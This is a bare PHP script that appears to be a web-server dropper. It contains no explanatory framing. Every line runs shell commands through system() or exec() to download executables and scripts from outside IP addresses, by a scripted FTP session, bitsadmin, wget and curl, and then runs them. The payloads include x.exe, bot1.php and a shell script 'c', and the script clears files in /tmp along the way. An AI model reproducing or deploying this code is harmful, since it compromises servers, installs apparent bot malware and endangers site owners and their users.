<?
system("c:\windows\system32\cmd.exe /c echo open 80.79.48.186 21 >> ik &echo user ftp wer234234 >> ik &echo binary >> ik &echo get x.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &x.exe &exit");
system("c:\windows\system32\cmd.exe /c echo open 80.79.48.186 21 >> ik &echo user ftp wer234234 >> ik &echo binary >> ik &echo get bot1.php >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &bot1.php &exit");
system("bitsadmin /transfer mydownloadjob /download /priority high http://74.52.9.186/x.exe %TEMP%\x.exe");
system("'bitsadmin /transfer mydownloadjob /download /priority high http://74.52.9.186/x.exe %TEMP%\x.exe'");
system("wget http://74.52.9.186/x.exe");
system("'wget http://74.52.9.186/x.exe'");
system("wget http://74.52.9.186/x.exe -O %TEMP%\x.exe");
system("'wget http://74.52.9.186/x.exe -O %TEMP%\x.exe'");
system("cd /tmp ; rm -rf c a ; curl -O http://74.52.9.186/c ; wget http://74.52.9.186/c ; sh c");
system("curl -O http://74.52.9.186/x.exe");
system("'curl http://74.52.9.186/x.exe'");
system("curl -O http://74.52.9.186/x.exe %TEMP%\x.exe");
system("'curl -O http://74.52.9.186/x.exe %TEMP%\x.exe'");
system("%TEMP%\x.exe");
system("x.exe");
exec("%TEMP%\x.exe");
exec("x.exe");
?>